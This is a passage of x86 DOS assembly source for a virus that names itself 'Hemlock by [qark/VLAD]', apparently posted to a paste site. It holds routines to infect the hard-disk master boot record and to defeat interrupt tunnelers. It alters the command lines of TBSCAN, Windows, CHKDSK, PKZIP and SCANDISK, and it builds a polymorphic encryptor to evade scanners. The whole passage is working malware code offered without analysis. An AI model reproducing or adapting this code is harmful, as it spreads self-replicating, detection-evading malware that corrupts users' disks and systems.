- pop si ;Restore SI
- je found_name ;We got one!
- sub di,cx ;Next name
- cmp di,offset bad_finish
- jbe tail_fail
- jmp short name_loop
- found_name:
- cmp di,offset bad_finish ;TBSCAN gets different treatment.
- jbe tbscan_found
- cmp di,offset bad_win
- jbe win_found
- mov byte ptr cs:stealth,0 ;Turn stealth off.
- jmp short tail_fail
- TBSCAN_Found:
- ;Change command line
- cld
- pop es ;ES was last thing pushed.
- push es ;ES=Param Block segment.
- mov di,word ptr es:[bx+2] ;Grab command tail from param block
- mov si,di
- mov ax,word ptr es:[bx+4]
- mov es,ax
- mov ds,ax ;DS:SI=ES:DI=Command tail
- inc di ;Past tail count.
- cmp byte ptr [si],0 ;No parameters!
- je write_tail
- mov cx,127 ;Length of tail.
- mov al,0dh
- repne scasb
- jne tail_fail
- dec di ;DI = 0D end of command line.
- write_tail:
- add byte ptr [si],6
- push cs
- pop ds
- mov si,offset tail_fix
- mov cx,7
- rep movsb
- jmp tail_fail
- win_found:
- cld
- pop es ;ES was last thing pushed.
- push es ;ES=Param Block segment.
- mov di,word ptr es:[bx+2] ;Grab command tail from param block
- mov si,di
- mov ax,word ptr es:[bx+4]
- mov es,ax
- mov ds,ax ;DS:SI=ES:DI=Command tail
- inc di ;Past tail count.
- cmp byte ptr [si],0 ;No parameters!
- je write_win_tail
- mov cx,127 ;Length of tail.
- mov al,0dh
- repne scasb
- jne tail_fail
- dec di ;DI = 0D end of command line.
- write_win_tail:
- add byte ptr [si],5
- push cs
- pop ds
- mov si,offset win_fix
- mov cx,6
- rep movsb
- tail_fail:
- cld ;Gotta keep the forward scan.
- pop es
- pop ds
- pop di
- pop si
- pop dx
- pop cx
- pop bx
- pop ax
- ret
- ;We are scanning backwards because it is smaller than searching
- ;for the \ in the filename.
- Bad_finish db 'TBSCAN',6
- Bad_win db 'WIN',3
- db 'CHKDSK',6
- db 'PKZIP',5
- db 'ARJ',3
- db 'NDD',3
- db 'SCANDISK',8
- db 'LHA',3
- Bad_names: ;Scan from here...
- tail_fix db ' co nm',0dh ;<- insert this
- win_fix db ' /d:f',0dh ;make windows use 16bit disk
- ;access
- ;....................................
- Check_Handle:
- ;BX=File handle
- ;Carry if bad handle.
- push ax
- push dx
- mov ax,44h
- call int21h ;Get device info.
- jc bad_handle
- shl dl,1 ;If bit 7=1 then not a file.
- ; SHLing it will set the carry
- ; flag based on bit 7
- jmp short handle_exit
- bad_handle:
- stc
- handle_exit:
- pop dx
- pop ax
- ret
- ;....................................
- Anti_Tunnel:
- push ax ;Disable any tunnelers.
- push bx
- push si
- push ds
- xor ax,ax
- mov ds,ax ;Vector table
- lds si,[1*4] ;DS:SI=Int 1 Address
- mov bl,byte ptr [si] ;Save first byte of it.
- mov byte ptr [si],0cfh ;Move an IRET at the entry point.
- pushf ;Flags on stack.
- pop ax ;Flags into AX
- and ah,0feh ;Remove trap flag.
- push ax ;Flags back on stack
- popf ;Set flags without any trap on.
- mov byte ptr [si],bl ;Restore entry point.
- pop ds
- pop si
- pop bx
- pop ax
- ret
- ;....................................
- Check_MBR:
- ;Assumes SI=Delta
- ;On exit: JE infected JNE not infected
- push ax
- push bx
- push cx
- push dx
- push es
- push cs
- pop es
- mov ax,201h
- lea bx,[si+offset end_virus]
- mov cx,1
- mov dx,80h
- int 13h
- cmp word ptr es:[bx+offset marker - offset bootsector],'uE'
- pop es
- pop dx
- pop cx
- pop bx
- pop ax
- ret
- ;....................................
- SetROM15_13:
- ;Sets int15/13 to the ROM vector (if it can find it)
- ;SI=Delta
- push ax
- push si
- push di
- push ds
- push es
- cld
- mov di,si ;DI=Delta
- mov ax,0f000h ;ROM BIOS segment
- mov ds,ax
- mov si,[0ff0dh] ;ROM interrupt table
- lodsb
- cmp al,0e9h
- je found_rom15
- mov si,0f859h ;The IBM standard int15 address
- lodsb
- cmp al,0e9h ;Is there a JMP there ?
- jne find_rom13
- found_rom15:
- dec si
- push ds
- push cs
- pop ds ;DS=CS
- xor ax,ax
- mov es,ax ;ES=0
- push es:[15h*4]
- pop [di+offset i15] ;Save the offset
- mov es:[15h*4],si ;Set the offset
- push es:[15h*4+2]
- pop [di+offset i15+2] ;Save the segment
- mov es:[15h*4+2],0f000h ;Set the segment
- pop ds
- find_rom13:
- xor si,si
- inc si
- search13:
- cmp si,0fff0h ;Most AMIBIOSes just have this
- jae not_present13 ;signature at their int13 entry
- dec si ;point. In fact every one I looked
- lodsw ;at had it.
- cmp ax,0fa80h
- jne search13
- lodsw
- cmp ax,0fb80h
- jne search13
- lodsb
- cmp al,0fch
- jne search13
- sub si,5
- xor ax,ax
- mov ds,ax
- push cs
- pop es
- mov ax,si ;AX=Offset of int13handler
- mov si,13h*4
- lea di,[di+offset i13]
- movsw
- movsw
- mov word ptr [si-4],ax
- mov word ptr [si-2],0f000h
- not_present13:
- pop es
- pop ds
- pop di
- pop si
- pop ax
- ret
- ;....................................
- Infect_MBR:
- ;Infects the hard disk MBR
- ;SI=Delta Offset
- push ax
- push bx
- push cx
- push dx
- push ds
- push es
- xor ax,ax
- mov dx,80h
- int 13h
- lea bx,[si+offset end_virus]
- push cs
- pop es
- mov ax,201h
- mov cx,1
- int 13h
- mov ax,301h
- mov cl,3
- int 13h
- push cs
- pop ds ;CS=DS=ES
- push si
- lea di,[si+offset end_virus]
- add si,offset bootsector
- mov cx,offset bs_end - offset bootsector
- cld
- rep movsb
- pop si
- lea di,[si+offset end_virus + 510]
- mov ax,0aa55h
- stosw ;Put the bootsector marker in.
- lea bx,[si+offset end_virus]
- mov cx,1
- mov ax,301h
- int 13h
- mov cx,4
- mov ax,307h
- mov bx,si
- int 13h
- pop es
- pop ds
- pop dx
- pop cx
- pop bx
- pop ax
- ret
- ;....................................
- Reset15_13:
- ;Resets int13/15 to original vectors.
- ;SI=Delta offset
- push ax
- push si
- push di
- push ds
- push es
- push si
- push cs
- pop ds ;DS=CS
- xor ax,ax
- mov es,ax ;ES=0
- add si,offset i15
- mov di,15h*4
- cld
- movsw
- movsw ;Restore int15
- pop si ;Restore SI=Delta
- add si,offset i13
- mov di,13h*4
- movsw
- movsw ;Restore int13
- pop es
- pop ds
- pop di
- pop si
- pop ax
- ret
- ;....................................
- Set_Int24:
- ;Sets int24 to our handler
- push ax
- push si
- push di
- push ds
- push es
- xor ax,ax
- mov ds,ax
- push cs
- pop es
- mov si,24h*4
- mov di,offset i24
- cld
- movsw
- movsw
- mov word ptr [si-4],offset int24h
- mov word ptr [si-2],cs
- pop es
- pop ds
- pop di
- pop si
- pop ax
- ret
- ;....................................
- Reset_Int24:
- ;Restores int24
- push ax
- push si
- push di
- push ds
- push es
- xor ax,ax
- mov es,ax
- push cs
- pop ds
- mov si,offset i24
- mov di,24h*4
- cld
- movsw
- movsw
- pop es
- pop ds
- pop di
- pop si
- pop ax
- ret
- ;....................................
- Setup_Poly:
- ;Copies the virus code into the buffer after the virus, generates the
- ;polymorphic decryptor/encryptor and encrypts it.
- push ax
- push bx
- push cx
- push dx
- push si
- push di
- push ds
- push es
- push bp
- push cs
- push cs
- pop ds
- pop es
- mov bp,word ptr delta
- mov cx,offset enc_end - offset enc_start
- xor di,di
- call poly
- xor si,si
- mov di,offset end_virus
- mov cx,di
- rep movsb
- mov al,byte ptr cipher_val
- mov si,offset end_virus + offset enc_start
- mov cx,offset enc_end - offset enc_start - 1
- call enc_loop
- pop bp
- pop es
- pop ds
- pop di
- pop si
- pop dx
- pop cx
- pop bx
- pop ax
- ret
- ;....................................
- Poly Proc Near
- ;;ES:DI=buffer
- ;;CX=size of enc buffer
- ;;BP=delta offset
- ;AL=cipher
- ;SI=pointer
- ;CX=counter
- ; The basic algorithm for the polymorphism
- ; mov al,0
- ; mov si,offset encstart
- ; push si
- ; mov cx,200
- ;encloop:
- ; xor byte ptr cs:[si]
- ; ror al,1
- ; ror al,1
- ; inc si
- ; dec cx
- ; or cx,cx
- ; jns encloop
- ;encstart:
- ; ret
- push ax
- push bx
- push cx
- push dx
- push si
- push di
- push ds
- push es
- cld
- push cs
- pop ds
- in al,40h
- mov byte ptr cipher_val,al
- xor dx,dx
- retry_var:
- cmp dl,7
- je past_first
- in al,40h
- and al,3
- cmp al,4
- je retry_var
- dec al
- js set_cx
- jz set_si
- set_al:
- test dl,1
- jnz retry_var
- or dl,1
- mov al,0b0h ;MOV AL,xx
- stosb
- mov al,byte ptr cipher_val
- stosb
- jmp short retry_var
- set_cx:
- test dl,2
- jnz retry_var
- or dl,2
- mov al,0b9h ;MOV CX,xxxx
- stosb
- mov ax,cx
- dec ax ;less one because of the JNS
- stosw
- jmp short retry_var
- set_si:
- test dl,4
- jnz retry_var
- or dl,4
- mov al,0beh ;MOV SI,xxxx
- stosb
- mov ax,bp
- add ax,offset enc_start
- stosw
- mov al,56h ;PUSH SI
- stosb
- jmp retry_var
- past_first:
- ;Just do a crap instruction so that our JNS xxxx won't be the same.
- ;It just reads instructions out of DATABASE1
- xor dx,dx
- retry_second:
- mov word ptr jmp_calc,di
- mov si,offset database1
- in al,40h
- and ax,6 ;3*2
- add si,ax
- movsw
- redo_table:
- cmp dl,31
- je past_second
- mov si,offset random_table
- in al,40h
- and ax,14
- cmp ax,8
- ja redo_table
- add si,ax
- lodsw
- call ax
- jmp short redo_table
- set_xor:
- test dl,1
- jnz garbage1
- or dl,1
- mov al,02eh ;CS:
- stosb
- mov ax,430h ;BYTE PTR [SI],AL
- stosw
- ret
- garbage1: ;Random AL garbler
- test dl,2
- jnz garbage2
- or dl,2
- jmp short do_garbage
- garbage2:
- test dl,4
- jnz inc_si
- or dl,4
- do_garbage:
- mov si,offset database2 ;Garbage database
- in al,40h
- and ax,7
- shl ax,1
- add si,ax
- movsw
- ret
- inc_si:
- test dl,8
- jnz dec_cx
- or dl,8
- mov al,46h ;INC SI
- stosb
- ret
- dec_cx:
- test dl,16
- jnz set_xor
- or dl,16
- mov al,49h ;DEC CX
- stosb
- ret
- past_second:
- xor dx,dx
- redo_second:
- cmp dl,3
- je do_ret
- in al,40h
- and al,1
- cmp al,0
- je one_byte1
- or_cx_cx:
- test dl,1
- jnz one_byte1
- or dl,1
- mov si,offset database4
- in al,40h
- and ax,1
- add si,ax ;Index to a compare instruction
- movsb
- mov al,0c9h ;CX,CX
- stosb
- ;jge, jns etc
- mov si,offset database5
- in al,40h
- and ax,1
- add si,ax
- movsb ;Put a JGE/JNS in.
- mov ax,di
- inc ax ;Calculate the jump.
- sub ax,word ptr jmp_calc
- mov ah,al
- in al,40h
- and al,2
- sub ah,al
- mov al,ah
- neg al
- stosb
- jmp redo_second
- one_byte1:
- test dl,2
- jnz or_cx_cx
- or dl,2
- mov si,offset database3 ;One byte crap
- in al,40h
- and ax,7
- add si,ax
- movsb
- jmp redo_second
- do_ret:
- mov si,offset database3
- in al,40h
- and ax,7 ;0-7
- add si,ax ;Index into table
- lodsb
- mov ah,0c3h ;RET
- mov dx,ax
- in al,40h
- and ax,7
- mov cx,ax
- swap_pos:
- xchg dh,dl
- loop swap_pos
- mov ax,dx
- stosw ;Store the one byte crap/ret combination
- pop es
- pop ds
- pop di
- pop si
- pop dx
- pop cx
- pop bx
- pop ax
- ret
- random_table dw offset set_xor
- dw offset garbage1
- dw offset garbage2
- dw offset inc_si
- dw offset dec_cx
- database1: ;Utter crap
- xchg bx,dx
- mov bl,9
- xor dx,dx
- sub bx,bx
- database2: ;AL garblers
- ror al,1
- add al,07ah
- sub al,0e0h
- dec al
- sub al,0b2h
- dec al
- add al,81h
- ror al,1
- database3: ;One byte crap
- cld
- dec dx
- inc bx
- scasb
- inc di
- dec di
- inc dx
- dec bx
- database4:
- db 0bh ;OR xx,xx
- db 23h ;AND xx,xx
- database5:
- db 79h ;JNS
- db 7dh ;JGE
- cipher_val db 0
- jmp_calc dw 0
- Poly EndP
- ;....................................
- ;<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
- VirusName db 'Hemlock by [qark/VLAD]',0
- delta dw 0 ;delta offset
- qemm db 0 ;0=no qemm
- dosdata db 'OSDATA' ;DOSDATA.SYS
- flag21 db 0
- mz_counter db 1
- stealth db 1 ;0=no stealth
- filetype db 'C' ;C=COM S=SYS E=EXE
- virus_jump db 0e9h,0,0
- enc_end:
- db 0 ;The polymorphics will encrypt this
- ;byte sometimes.
- header db 0cdh,20h,16h dup (0)
- end_virus: ;<-- Our virus length
- db offset end_virus dup (0)
- db 100 dup (0)
- Mem_Size:
- IVT db 1024 dup (0)
- mode db 0
Add Comment
Please, Sign In to add comment